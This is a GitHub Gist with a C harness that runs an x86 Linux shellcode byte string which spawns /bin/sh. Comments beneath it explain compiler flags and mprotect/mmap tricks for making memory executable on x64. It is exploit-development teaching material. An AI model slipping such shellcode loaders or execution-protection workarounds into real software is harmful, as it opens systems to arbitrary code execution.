-
-
Save securitytube/5318838 to your computer and use it in GitHub Desktop.
#include<stdio.h> | |
#include<string.h> | |
unsigned char code[] = \ | |
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; | |
main() | |
{ | |
printf("Shellcode Length: %d\n", strlen(code)); | |
int (*ret)() = (int(*)())code; | |
ret(); | |
} | |
for the future noobs:
this is an x86 linux shellcode that will spawn a
/bin/sh
* **on an x86 machine:** you can compile using `gcc -o shell src.c` on a x86 machine; if you have a seg fault then compile it with the following flags: `gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie` * **on x64 machine; things are different.** 1. Either change the shell code to am x64 version [can be found [here](http://shell-storm.org/shellcode/files/shellcode-603.php)], OR 2. compile with the `-m32` flag as follow: `gcc c-shell.c -o shell -fno-stack-protector -z execstack -no-pie -m32`
if you face the "sys/cdefs.h: No such file or directory" fatal error;
then runapt-get install libc6-dev-i386
I hope this helped!
This doesnt help (anymore?)
first: the code is not on the stack - its in the .data segment, thus -fno-stack-protector -z execstack
are completely irrelevant for the code to work. -no-pie
does not affect to code either since the code is not referring to specific addresses, is it?
But the idea is right: the code must be stored in an executable memory.
for the future and past noobs:
At least on my x64 the memory page is not executable (x86 only has r/w, x64 has r/w/x, thats why it always works on x86 and the problem does not occur there)
To make the page executable change the main accordingly:
int main(){
printf("Shellcode length: %d\n", strlen(code));
int r = mprotect((void *)((int)code & ~4095), 4096, PROT_READ | PROT_WRITE|PROT_EXEC);
printf("mprotect: %d\n",r);
int (*ret)() = (int(*)())code;
return ret();
}
Why (void *)((int)code & ~4095), 4096
?
mprotect() changes the access protections for the calling process's memory pages containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.
Its the page alignment. (so to speak "drop the last three nibbles of the address" since the page is 4K this will result in the beginning of the page where the code[] is stored)
The type cast is just to allow logical operations (cast to int, apply logical and, cast back to pointer)
now you can indeed compile:
gcc -m32 shellcodetest.c
./a.out
Just put code in stack by initializing code as local variable
#include <stdio.h>
#include <string.h>
int main(){
char code[] = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
printf("Shellcode length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
return ret();
}
- gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode
At least on my x64 the memory page is not executable (x86 only has r/w, x64 has r/w/x, thats why it always works on x86 and the problem does not occur there)
Not exactly. x86 also has r/w/x but the ELF loading code in the kernel (for x86 only) treats all readable memory as executable IF the stack was marked as executable. Which it is if either PT_GNU_STACK
program header is missing in the ELF or if it is present and has the executable flag set. Which is why the -z execstack
was important.
See:
- https://elixir.bootlin.com/linux/v6.1.9/source/fs/binfmt_elf.c#L933
- https://elixir.bootlin.com/linux/v6.1.9/source/fs/binfmt_elf.c#L1009
- https://elixir.bootlin.com/linux/v6.1.9/source/arch/x86/include/asm/elf.h#L293
Shameless self promotion: I made a tool for shellcode execution which you may want to use: https://github.com/RobertLarsen/RunShellcode
Here is another example to run x86 shellcode on x64 machine but specify the memory address where you want to load your shellcode:
# include <stdio.h>
# include <string.h>
# include <unistd.h>
# include <sys/mman.h>
# define EXEC_MEM ((void *) 0x80000000)
char shellcode[] = "{write your shellcode here}";
int main() {{
mmap(EXEC_MEM, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, -1, 0);
memcpy(EXEC_MEM, (void *)shellcode, strlen(shellcode)+1);
(*(int (*)())EXEC_MEM)();
return 0;
}
Illegal instruction?